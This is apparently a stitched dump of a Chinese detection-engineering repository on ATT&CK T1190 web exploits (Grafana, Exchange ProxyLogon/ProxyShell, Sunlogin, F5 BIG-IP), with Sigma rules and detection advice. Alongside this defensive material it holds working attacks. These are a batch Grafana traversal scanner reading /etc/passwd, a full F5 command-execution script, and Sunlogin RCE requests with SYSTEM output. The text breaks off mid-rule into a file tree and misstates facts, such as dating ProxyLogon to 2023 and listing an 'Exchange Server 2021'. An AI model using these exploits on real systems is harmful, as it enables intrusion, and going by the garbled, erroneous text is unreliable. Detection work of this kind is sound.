<https://www.cnblogs.com/bflw/p/15659188.html>
具体POC可参考:
```
python
# coding:utf-8
# Author:绯夜 By T00ls.Net
import requests,urllib3
import urllib.request
import ssl
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
urls = open('url.txt')
headers = {
'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36"
}
for i in urls:
url = i.rstrip("\n")
list = ['/public/plugins/alertGroups/../../../../../../../../etc/passwd',
'/public/plugins/alertlist/../../../../../../../../etc/passwd',
'/public/plugins/alertmanager/../../../../../../../../etc/passwd',
'/public/plugins/annolist/../../../../../../../../etc/passwd',
'/public/plugins/barchart/../../../../../../../../etc/passwd',
'/public/plugins/bargauge/../../../../../../../../etc/passwd',
'/public/plugins/canvas/../../../../../../../../etc/passwd',
'/public/plugins/cloudwatch/../../../../../../../../etc/passwd',
'/public/plugins/dashboard/../../../../../../../../etc/passwd',
'/public/plugins/dashlist/../../../../../../../../etc/passwd',
'/public/plugins/debug/../../../../../../../../etc/passwd',
'/public/plugins/elasticsearch/../../../../../../../../etc/passwd',
'/public/plugins/gauge/../../../../../../../../etc/passwd',
'/public/plugins/geomap/../../../../../../../../etc/passwd',
'/public/plugins/gettingstarted/../../../../../../../../etc/passwd',
'/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd',
'/public/plugins/grafana/../../../../../../../../etc/passwd',
'/public/plugins/graph/../../../../../../../../etc/passwd',
'/public/plugins/graphite/../../../../../../../../etc/passwd',
'/public/plugins/heatmap/../../../../../../../../etc/passwd',
'/public/plugins/histogram/../../../../../../../../etc/passwd',
'/public/plugins/influxdb/../../../../../../../../etc/passwd',
'/public/plugins/jaeger/../../../../../../../../etc/passwd',
'/public/plugins/live/../../../../../../../../etc/passwd',
'/public/plugins/logs/../../../../../../../../etc/passwd',
'/public/plugins/loki/../../../../../../../../etc/passwd',
'/public/plugins/mixed/../../../../../../../../etc/passwd',
'/public/plugins/mssql/../../../../../../../../etc/passwd',
'/public/plugins/mysql/../../../../../../../../etc/passwd',
'/public/plugins/news/../../../../../../../../etc/passwd',
'/public/plugins/nodeGraph/../../../../../../../../etc/passwd',
'/public/plugins/opentsdb/../../../../../../../../etc/passwd',
'/public/plugins/piechart/../../../../../../../../etc/passwd',
'/public/plugins/pluginlist/../../../../../../../../etc/passwd',
'/public/plugins/postgres/../../../../../../../../etc/passwd',
'/public/plugins/prometheus/../../../../../../../../etc/passwd',
'/public/plugins/stat/../../../../../../../../etc/passwd',
'/public/plugins/state-timeline/../../../../../../../../etc/passwd',
'/public/plugins/status-history/../../../../../../../../etc/passwd',
'/public/plugins/table-old/../../../../../../../../etc/passwd',
'/public/plugins/table/../../../../../../../../etc/passwd',
'/public/plugins/tempo/../../../../../../../../etc/passwd',
'/public/plugins/testdata/../../../../../../../../etc/passwd',
'/public/plugins/text/../../../../../../../../etc/passwd',
'/public/plugins/timeseries/../../../../../../../../etc/passwd',
'/public/plugins/welcome/../../../../../../../../etc/passwd',
'/public/plugins/xychart/../../../../../../../../etc/passwd',
'/public/plugins/zipkin/../../../../../../../../etc/passwd',]
for i in list:
urls = url +i
try:
try:
request = urllib.request.urlopen(urls,timeout=8)
content = request.read().decode('utf-8')
except:
request = urllib.request.urlopen(urls, context=ssl._create_unverified_context(),timeout=8)
content = request.read().decode('utf-8')
if 'root:x:0:0:root' in content:
print("[+] Sussess "+urls)
result = urls+"==>Success"
with open("Success.txt", "a+") as a:
a.write(result + '\n')
break
except:
print("[*] Failed")
```
## 测试留痕
暂未进行实际有效的测试,故引用他人测试数据信息。
<https://blog.riskivy.com/wp-content/uploads/2021/12/md-1.png>
## 检测规则/思路
### Sigma规则
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
```
yml
title: CVE-2021-43798 Grafana 任意文件读取漏洞
status: experimental
description: Grafana 存在未授权任意文件读取漏洞,攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。
references:
- https://saucer-man.com/information_security/856.html
author: 12306Br0
date: 2021/12/09
tags:
- attack.initial_access
- attack.t1190
logsource:
category: webserver
detection:
selection:
cs-method: 'GET'
c-uri|contains|all:
- '/../../../../../../../../'
- '/public/plugins'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: critical
```
### 建议
观察请求包与响应报内容。如请求路径中包含/etc/passwd,代表攻击者尝试读取/etc/passwd下密码信息,如响应状态码为200,且响应包中包含root:x:0:0:root,意味着攻击成功;如请求路径中包含/var/lib/grafana/grafana.db,代表攻击者尝试读取数据库文件,如果响应状态码为200,且响应包z中包含SQLite format,很意味着攻击成功。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
Grafana 未授权任意文件读取漏洞
<https://www.cnblogs.com/bflw/p/15659188.html>
CVE-2021-43798 Grafana 任意文件读取漏洞分析
<https://saucer-man.com/information_security/856.html>
朴实无华的Grafana未授权任意文件读取漏洞批量验证脚本
<https://www.t00ls.cc/thread-63673-1-1.html>
================================================
FILE: Web/2021/T1190-Exchange-ProxyLogon利用行为检测.md
================================================
# T1190-Exchange-ProxyLogon利用行为检测------------------------------------------------------------------------------------------------------------------------------------------------------
## 来自ATT&CK的描述------------------------------------------------------------------------------------------------------------------------------------------------------
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。------------------------------------------------------------------------------------------------------------------------------------------------------
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。------------------------------------------------------------------------------------------------------------------------------------------------------
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。------------------------------------------------------------------------------------------------------------------------------------------------------
## ProxyLogon------------------------------------------------------------------------------------------------------------------------------------------------------
在2023年3月份,微软公布了多个Microsoft Exchange的高危漏洞,通过组合利用这些漏洞可以在未经身份验证的情况下远程获取服务器权限。这套组合拳被称为ProxyLogon。安全研究员Orange Tsai于2020年底发现该系列漏洞并命名。------------------------------------------------------------------------------------------------------------------------------------------------------
CVE-2021-26855是一个SSRF漏洞,利用该漏洞可以绕过Exchange的身份验证,CVE-2021-27065是一个文件写入漏洞。二者结合可以在未登录的状态下写入webshell。------------------------------------------------------------------------------------------------------------------------------------------------------
想要成功的利用该漏洞,整个攻击链接可能经过以下步骤:------------------------------------------------------------------------------------------------------------------------------------------------------
* 通过SSRF漏洞攻击,访问autodiscover.xml泄露LegacyDN信息。
* 在通过LegacyDN,获取SID。
* 然后通过合法的SID,获取exchange的有效cookie。
* 最后通过有效的cookie,对OABVirtualDirectory对象进行恶意操作,写入一句话木马,达到控制目标的效果。------------------------------------------------------------------------------------------------------------------------------------------------------
## 测试案例------------------------------------------------------------------------------------------------------------------------------------------------------
参考Freebuf文章:MS Exchange攻击日志分析三------------------------------------------------------------------------------------------------------------------------------------------------------
## 检测日志------------------------------------------------------------------------------------------------------------------------------------------------------
MSExchange CmdletLogs------------------------------------------------------------------------------------------------------------------------------------------------------
## 测试留痕------------------------------------------------------------------------------------------------------------------------------------------------------
暂无------------------------------------------------------------------------------------------------------------------------------------------------------
## 检测规则/思路------------------------------------------------------------------------------------------------------------------------------------------------------
### sigma规则------------------------------------------------------------------------------------------------------------------------------------------------------
```
title: MSExchange CmdletLogs monitors ProxyLogon webshell writing behavior
description: windows server 2016
author: DHZN
logsource:
product: windows
service: MSExchange CmdletLogs
detection:
selection:
EventID: 1
Message|contains|all:
- 'Set-'
- 'VirtualDirectory'
- '-ExternalUrl'
- 'script'
condition: selection
level: medium------------------------------------------------------------------------------------------------------------------------------------------------------
```
- -----------------------------------------------------------------------------------------------------------------------------------------------------
### 建议------------------------------------------------------------------------------------------------------------------------------------------------------
暂无------------------------------------------------------------------------------------------------------------------------------------------------------
## 参考推荐------------------------------------------------------------------------------------------------------------------------------------------------------
[ProxyLogon漏洞分析](https://hosch3n.github.io/2021/08/22/ProxyLogon%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)------------------------------------------------------------------------------------------------------------------------------------------------------
[Exchange漏洞分析(一):SSRF RCE(CVE-2021-26855、CVE-2021-27065)](https://www.anquanke.com/post/id/259902)------------------------------------------------------------------------------------------------------------------------------------------------------
[复现Microsoft Exchange Proxylogon漏洞利用链](https://xz.aliyun.com/t/9305#toc-8)------------------------------------------------------------------------------------------------------------------------------------------------------
[Falcon Complete Stops Microsoft Exchange Server Zero-Day Exploits](https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits/)------------------------------------------------------------------------------------------------------------------------------------------------------
[HAFNIUM targeting Exchange Servers with 0-day exploits](https://www.microsoft.com/en-us/security/blog/2021/03/02/hafnium-targeting-exchange-servers/)------------------------------------------------------------------------------------------------------------------------------------------------------
================================================
FILE: Web/2021/T1190-Exchange-ProxyShell利用行为检测.md
================================================
# T1190-Exchange-ProxyShell利用行为检测
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## ProxyShell
ProxyShell攻击链是2021年8月由安全研究员Kevin Beaumont发现的一系列Microsoft Exchange服务器漏洞。这些漏洞影响了Exchange Server 2016、Exchange Server 2019、Exchange Server 2021和Exchange Online。
ProxyShell攻击链由三个CVE漏洞组成:
- CVE-2021-34473:未经身份验证的用户可以通过修改请求头来访问Exchange服务器中的PowerShell端点。
- CVE-2021-34523:攻击者可以通过修改请求头来绕过Exchange服务器的身份验证。
- CVE-2021-31207:攻击者可以通过修改请求头来执行任意PowerShell脚本。
## 测试案例
参考Freebuf文章:MS Exchange攻击日志分析三
## 检测日志
MSExchange CmdletLogs
## 测试留痕
暂无
## 检测规则/思路
### sigma规则
```
title: Use MSExchange CmdletLogs or Powershell logs to monitor ProxShell vulnerability exploitation behavior
description: windows server 2016
author: DHZN
logsource:
product: windows
service: MSExchange CmdletLogs/PoweShell
detection:
selection1:
EventID: 1
Message|contains|all:
- 'New-MailboxExportRequest'
- 'FilePath'
selection2:
EventID: 4104
Message|contains|all: 'Get-MailboxExportRequest'
condition: selection
level: medium
```
### 建议
暂无
## 参考推荐
[pst-want-shell-proxyshell-exploiting-microsoft-exchange-servers](https://www.mandiant.com/resources/blog/pst-want-shell-proxyshell-exploiting-microsoft-exchange-servers)
[ProxyShell漏洞复现](https://ad-calcium.github.io/2021/08/exchange-proxyshell%E5%A4%8D%E7%8E%B0/)
================================================
FILE: Web/2022/T1190-CNVD-2022-03672-向日葵RCE漏洞.md
================================================
# T1190-CNVD-2022-03672-向日葵RCE漏洞检测
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
上海贝锐信息科技股份有限公司的向日葵远控软件存在远程代码执行漏洞(CNVD-2022-10270/CNVD-2022-03672),影响Windows系统使用的个人版和简约版,攻击者可利用该漏洞获取服务器控制权。
影响版本
```
yml
向日葵个人版 for Windows <= 11.0.0.33
向日葵简约版 <= V1.0.1.43315(2021.12
```
## 检测日志
HTTP
## 测试复现
网络上公开工具较多,可自行下载进行本地测试,请勿进行非法测试。
攻击机:kali,10.211.55.35
靶机:win10,10.211.55.31
```
bash
┌──(root㉿361)-[/home/liyang]
└─# ./sunrce -h 10.211.55.31 -p 40000-60000 -m 1000
[+] start to scan open port......
10.211.55.31:50340 open |Success discovery the sunrce vulnerability
10.211.55.31:49666 open |NULL
10.211.55.31:49669 open |NULL
10.211.55.31:49665 open |NULL
10.211.55.31:49668 open |NULL
10.211.55.31:49664 open |NULL
10.211.55.31:49667 open |NULL
10.211.55.31:49670 open |NULL
SunRce vulnerability scan over
# 探测向日葵使用的端口
```
```
bash
──(root㉿361)-[/home/liyang]
└─# ./sunrce -h 10.211.55.31 -ps 50340 -shell
Cmd:whoami
nt authority\system
Cmd:net user
\\ 的用户帐户
Administrator DefaultAccount Guest
liyang WDAGUtilityAccount
命令运行完毕,但发生一个或多个错误。
Cmd:exit
```
## 漏洞分析/日志留痕
### 未授权认证
当SunloginCLient.exe在Windows上执行时,会连接远程Oray的服务器,同时也会打开一个大于40000的端口监听外部的连接访问(具体是否从40000往上随即开启端口,这个没有调试,网上是这么说的,我们主要看的是发生利用的代码部分)。
对其中一部分接口,Sunlogin统一对其进行处理。
接着会执行至函数sub_140E21528,分别对不同接口进行不同的处理。在接口/cgi-bin/rpc的Handler处理函数中可以进行未授权认证。
获取action参数值,如果值为verify-haras,即action=verify-haras,那么可以在没有识别码和验证码的情况下认证成功。
成功后返回一个verify_string,作为之后再次访问时Cookie字段中使用的CID值。
```
bash
GET /cgi-bin/rpc?action=verify-haras HTTP/1.1
Host: 10.211.55.31:50340
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 87
{"__code":0,"enabled":"1","verify_string":"6onb943qKJoXQGAmr1BKArugFlO9949g","code":0}
```
- -----------------
### RCE
漏洞发生在接口/check处,当参数cmd的值以ping或者nslookup开头时可以构造命令实现远程命令执行利用。
发送请求时需要在请求头中指定Cookie字段中CID的值为之前/cgi-bin/rpc返回的verify_string值。下面是通过ping拼接的利用请求。
```
bash
GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+whoami HTTP/1.1
Host: 10.211.55.31:50340
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: CID=6onb943qKJoXQGAmr1BKArugFlO9949g
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/json
Content-Length: 21
nt authority\system
GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+net+user HTTP/1.1
Host: 10.211.55.31:50340
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: CID=6onb943qKJoXQGAmr1BKArugFlO9949g
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/json
Content-Length: 269-
\\ ..........
Administrator DefaultAccount Guest
liyang WDAGUtilityAccount
```
## 监测规则
特征1:
请求数据:GET /cgi-bin/rpc?action=verify-haras,返回数据:verify_string;
特征2:
请求数据:GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe
请求数据:GET /check?cmd=ping%20127.0.0.1%20|%20cmd%20/c%20echo%20whoami%00
请求数据:GET /check?cmd=ping../../../SysWOW64/cmd.exe+/c+net+user
主要是针对常见的拼接路径进行监测,返回数据也存在一些特征,可以根据实际情况进行设置高精准匹配。
### 建议
可根据具体常见的路径进行监测。安全设备+运营人员经验,能够达到更好的效果。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
Sunlogin RCE漏洞分析和使用
<https://www.1024sou.com/article/742604.html>
向日葵远程命令执行程序分析
<http://www.exp-9.com/post/44.html>
================================================
FILE: Web/2022/T1190-CVE-2022-1388-F5BIG-IP未授权RCE.md
================================================
# T1190-CVE-2022-1388-F5BIG-IP未授权RCE
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
在F5 BIG-IP 16.1.x 16.1.2.2之前的版本、15.1.5.1之前的15.1.x版本、14.1.4.6之前的14.1.x版本、13.1.5之前的13.1.x版本以及所有12.1.x和11.6.x版本,未公开的请求可能会绕过iControl REST身份验证。注意:未评估已达到技术支持终止(EoTS)的软件版本。
此漏洞可能允许未经身份验证的攻击者通过管理端口和/或自身IP地址对BIG-IP系统进行网络访问,以执行任意系统命令、创建或删除文件或禁用服务。没有数据平面暴露;这只是一个控制平面问题。
## 检测日志
HTTP.log
## 测试复现
[POC地址](https://github.com/horizon3ai/CVE-2022-1388)
具体POC可参考:
```
python
# !/usr/bin/python3
import argparse
import requests
import urllib3
urllib3.disable_warnings()
def exploit(target, command):
url = f'https://{target}/mgmt/tm/util/bash'
headers = {
'Host': '127.0.0.1',
'Authorization': 'Basic YWRtaW46aG9yaXpvbjM=',
'X-F5-Auth-Token': 'asdf',
'Connection': 'X-F5-Auth-Token',
'Content-Type': 'application/json'
}
j = {"command":"run","utilCmdArgs":"-c '{0}'".format(command)}
r = requests.post(url, headers=headers, json=j, verify=False)
r.raise_for_status()
if ( r.status_code != 204 and r.headers["content-type"].strip().startswith("application/json")):
print(r.json()['commandResult'].strip())
else:
print("Response is empty! Target does not seems to be vulnerable..")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-c', '--command', help='The command to execute')
args = parser.parse_args()
exploit(args.target, args.command)
```
## 测试留痕
无
## 检测规则/思路
### Sigma规则
```
yml
title: F5-BIG-IP-RCE(CVE-2022-1388)
status: experimental
description: F5 recently patched a critical vulnerability in their BIG-IP iControl REST endpoint CVE-2022-1388. This vulnerability is particularly worrisome for users because it is simple to exploit and provides an attacker with a method to execute arbitrary system commands.
references:
- https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
- https://www.randori.com/blog/vulnerability-analysis-cve-2022-1388/
author: 12306Br0
date: 2022/05/15
tags:
- attack.t1190
logsource:
category: webserver
detection:
selection:
cs-method: 'POST'
c-uri|contains|all:
- '/mgmt/tm/util/bash'
cs-Connection: '*X-F5-Auth-Token*'
cs-X-F5-Auth-Token
gitextract_6482vae1/ ├── Linux/ │ ├── 04执行/ │ │ ├── T1059-004-linux-脚本.md │ │ ├── T1059-006-linux-通过Python生成的交互shell.md │ │ ├── T1059-linux-通过Perl生成的交互式shell.md │ │ └── T1154-linux-trap.md │ ├── 05权限维持/ │ │ ├── T1098-004-linux-账户操纵-SSH Authorized Keys.md │ │ ├── T1136-001-linux-创建账户.md │ │ ├── T1546-004-linux-.bash_profile and .bashrc.md │ │ └── T1548-001-linux-Setuid and Setgid.md │ ├── 06权限提升/ │ │ ├── T1548-003-linux-CVE-2019-14287.md │ │ └── T1548-003-linux-Sudo.md │ ├── 07逃避防御/ │ │ ├── T1027-005-linux-主机上的监测组件删除.md │ │ ├── T1070-002-清除Linux或Mac系统日志.md │ │ ├── T1070-003-linux-清除历史记录.md │ │ ├── T1070-004-linux-文件删除.md │ │ ├── T1070-006-Linux-Timestamp.md │ │ ├── T1222-002-linux-文件权限修改.md │ │ ├── T1562-003-linux-Histcontrol.md │ │ └── T1564-001-linux-隐藏文件和目录.md │ ├── 08凭证访问/ │ │ ├── T1110-003-Linux-SSH暴力破解.md │ │ ├── T1552-001-linux-文件中的凭据.md │ │ ├── T1552-003-linux-Bash历史.md │ │ └── T1552-004-linux-私钥.md │ └── 09发现/ │ ├── T1040-linux-网络嗅探.md │ ├── T1046-linux-使用nping扫描探测.md │ ├── T1082-linux-Hping存活主机发现.md │ ├── T1087-001-linux-本地账户发现.md │ └── T1557-002-linux-ARP网络嗅探.md ├── README.md ├── Web/ │ ├── 2020/ │ │ ├── T1190-CVE-2020-0618-SQLserver远程代码执行漏洞.md │ │ ├── T1190-CVE-2020-0688-Exchange漏洞利用检测.md │ │ ├── T1190-CVE-2020-13925-Apache Kylin远程操作系统命令注入漏洞.md │ │ ├── T1190-CVE-2020-14882-Weblogic Console HTTP 协议远程代码执行漏洞.md │ │ ├── T1190-CVE-2020-16875-Exchange漏洞利用监测.md │ │ ├── T1190-CVE-2020-17144-Exchange漏洞利用检测.md │ │ ├── T1190-CVE-2020-1938-Apache Tomcat文件包含漏洞利用检测.md │ │ ├── T1190-CVE-2020-1947-Apache ShardingSphere远程代码执行漏洞.md │ │ ├── T1190-CVE-2020-25540-Thinkadmin v6任意文件读取漏洞.md │ │ ├── T1190-CVE-2020-25790-Typesetter CMS文件上传漏洞.md │ │ ├── T1190-CVE-2020-35754-QuickCms访问控制错误漏洞.md │ │ ├── T1190-CVE-2020-5902-F5_BIG-IP_远程代码执行漏洞.md │ │ └── T1190-CVE-2020-8193-CVE-2020-8195.md │ ├── 2021/ │ │ ├── T1190-CVE-2021-2109_Weblogic_LDAP_远程代码执行漏洞.md │ │ ├── T1190-CVE-2021-21402-Jellyfin任意文件读取漏洞.md │ │ ├── T1190-CVE-2021-21972 Vmware vcenter未授权任意文件读取:RCE漏洞.md │ │ ├── T1190-CVE-2021-41277-Metabase 敏感信息泄露漏洞.md │ │ ├── T1190-CVE-2021-41773-Apache HTTP Server 2.4.49 路径穿越漏洞.md │ │ ├── T1190-CVE-2021-42013-Apache HTTP Server 2.4.50 路径穿越漏洞.md │ │ ├── T1190-CVE-2021-43798-Grafana任意文件读取漏洞.md │ │ ├── T1190-Exchange-ProxyLogon利用行为检测.md │ │ └── T1190-Exchange-ProxyShell利用行为检测.md │ ├── 2022/ │ │ ├── T1190-CNVD-2022-03672-向日葵RCE漏洞.md │ │ ├── T1190-CVE-2022-1388-F5BIG-IP未授权RCE.md │ │ ├── T1190-CVE-2022-22947-Spring Cloud Gateway远程代码执行漏洞.md │ │ ├── T1190-CVE-2022-22954-VMware Workspace ONE Access SSTI远程代码执行.md │ │ ├── T1190-CVE-2022-24124-Casdoor SQL注入漏洞.md │ │ ├── T1190-CVE-2022-26134-Confluence OGNL表达式注入命令执行漏洞.md │ │ ├── T1190-CVE-2022-40127 Apache Airflow代码注入.md │ │ └── T1190-CVE-2022-42889 Apache Commons Text RCE.md │ ├── 2023/ │ │ ├── CVE-2023-23752/ │ │ │ ├── CVE-2023-23752.pcap │ │ │ └── T1190-CVE-2023-23752.md │ │ ├── CVE-2023-25157/ │ │ │ ├── CVE-2023-25157.pcapng │ │ │ └── T1190-CVE-2023-25157.md │ │ ├── CVE-2023-28432/ │ │ │ ├── CVE-2023-28432.pcap │ │ │ └── T1190-CVE-2023-28432.md │ │ ├── CVE-2023-32315/ │ │ │ ├── CVE-2023-32315.pcapng │ │ │ └── T1190-CVE-2023-32315-Openfire管理后台认证绕过.md │ │ ├── CVE-2023-34843/ │ │ │ └── T1190-CVE-2023-34843.md │ │ ├── CVE-2023-35843/ │ │ │ └── T1190-CVE-2023-35843.md │ │ └── other/ │ │ ├── NginxWebUI run Cmd远程命令执行.md │ │ ├── Sapido路由器远程命令执行.md │ │ ├── Smartbi商业智能软件绕过登录.md │ │ ├── 泛微e-cology前台任意用户登录.md │ │ ├── 瑞友天翼应用虚拟化系统存在远程代码执行.md │ │ ├── 用友NC Cloud存在前台远程命令执行.md │ │ ├── 蓝凌oa远程代码执行.md │ │ └── 金蝶K3Cloud反序列化.md │ └── long time/ │ ├── T1133-001-深信服VPN任意密码重置.md │ ├── T1190- Apache Log4j2漏洞利用检测.md │ ├── T1190-CNVD-2017-02833-fastjson1.2.24远程代码执行.md │ ├── T1190-CNVD-2018-24942-thinkphp5.x任意代码执行漏洞.md │ ├── T1190-CVE-2010-1870-S2-005远程代码执行.md │ ├── T1190-CVE-2016-10033-PHPMailer<5.2.18远程代码执行.md │ ├── T1190-CVE-2018-2894-Weblogic任意文件上传检测.md │ ├── T1190-CVE-2019-19781-远程代码执行检测.md │ ├── T1190-CVE-2019-3398-Confluence路径穿越漏洞.md │ ├── T1190-CVE-2019-6339-Drupal远程代码执行漏洞.md │ ├── T1190-Influxdb<1.7.6未授权访问漏洞.md │ ├── T1190-IvBulletin5.X-RCE检测.md │ ├── T1190-JumpServer v2.6.1 RCE攻击检测.md │ ├── T1190-Thinkphp 5.x远程命令执行检测.md │ ├── T1190-泛微OA任意文件读取.md │ ├── T1190-通达V11.6-RCE.md │ ├── T1505-003-webshell-冰蝎v2.0.md │ └── T1505-003-webshell-冰蝎v3.0.md ├── Windows/ │ ├── 00其他/ │ │ └── T*-win-使用User_Del删除用户.md │ ├── 01侦察/ │ │ ├── T1589.001-收集目标组织身份信息-凭证.md │ │ ├── T1589.002-收集目标组织身份信息-邮件地址.md │ │ ├── T1589.003-收集目标组织身份信息-员工姓名.md │ │ ├── T1590-win-DNS记录获取.md │ │ ├── T1590.001-收集目标组织网络信息-域属性.md │ │ ├── T1590.002-收集目标组织网络信息-DNS.md │ │ ├── T1590.003-收集目标组织网络信息-网络信任关系.md │ │ ├── T1590.004-收集目标组织网络信息-网络拓扑.md │ │ ├── T1590.005-收集目标组织网络信息-IP地址.md │ │ ├── T1590.006-收集目标组织网络信息-网络安全设备.md │ │ ├── T1591.001-收集目标组织信息-确定物理位置.md │ │ ├── T1591.002-收集目标组织信息-业务关系.md │ │ ├── T1591.003-收集目标组织信息-确定业务节奏.md │ │ ├── T1591.004-收集目标组织信息-确定角色.md │ │ ├── T1592.001-收集目标组织主机信息-硬件信息.md │ │ ├── T1592.002-收集目标组织主机信息-软件信息.md │ │ ├── T1592.003-收集目标组织主机信息-固件信息.md │ │ ├── T1592.004-收集目标组织主机信息-客户端配置.md │ │ ├── T1593.001-搜索开放的域和网站-社交媒体.md │ │ ├── T1593.002-搜索开放的域和网站-搜索引擎.md │ │ ├── T1594-搜索目标组织所拥有的网站.md │ │ ├── T1595.001-主动扫描-扫描地址段.md │ │ ├── T1595.002-主动扫描-漏洞扫描.md │ │ ├── T1596.001-搜索开放的技术数据库-DNS_被动DNS.md │ │ ├── T1596.002-搜索开放的技术数据库-WHOIS.md │ │ ├── T1596.003-搜索开放的技术数据库-数字签名.md │ │ ├── T1596.004-搜索开放的技术数据库-CDN.md │ │ └── T1596.005-搜索开放的技术数据库-公开的扫描数据库.md │ ├── 02资源开发/ │ │ ├── T1583.001-获取基础设施-域名.md │ │ ├── T1583.002-获取基础设施-DNS服务.md │ │ ├── T1583.003-获取基础设施-虚拟专用服务器.md │ │ ├── T1583.004-获取基础设施-服务器.md │ │ ├── T1583.005-获取基础设施-僵尸网络.md │ │ ├── T1583.006-获取基础设施-web服务.md │ │ ├── T1584.001-入侵基础设施-域名.md │ │ ├── T1584.002-入侵基础设施-DNS服务.md │ │ ├── T1584.003-入侵基础设施-虚拟专用服务器.md │ │ ├── T1584.004-入侵基础设施-服务器.md │ │ ├── T1584.005-入侵基础设施-僵尸网络.md │ │ ├── T1584.006-入侵基础设施-web服务.md │ │ ├── T1585.001-创建账户-社交媒体账户.md │ │ ├── T1585.002-创建账户-电子邮箱账户.md │ │ ├── T1586.001-盗取账户-社交媒体账户.md │ │ ├── T1586.002-盗取账户-电子邮箱账户.md │ │ ├── T1587.001-开发能力-恶意软件.md │ │ ├── T1587.002-开发能力-代码签名证书.md │ │ ├── T1587.003-开发能力-数字证书.md │ │ ├── T1587.004-开发能力-漏洞利用.md │ │ ├── T1588.001-获取能力-恶意软件.md │ │ ├── T1588.002-获取能力-工具.md │ │ ├── T1588.003-获取能力-代码签名证书.md │ │ ├── T1588.004-获取能力-数字证书.md │ │ ├── T1588.005-获取能力-漏洞利用.md │ │ ├── T1588.006-获取能力-漏洞.md │ │ ├── T1608.001-部署能力-部署恶意软件.md │ │ ├── T1608.002-部署能力-部署工具.md │ │ ├── T1608.003-部署能力-安装数字证书.md │ │ ├── 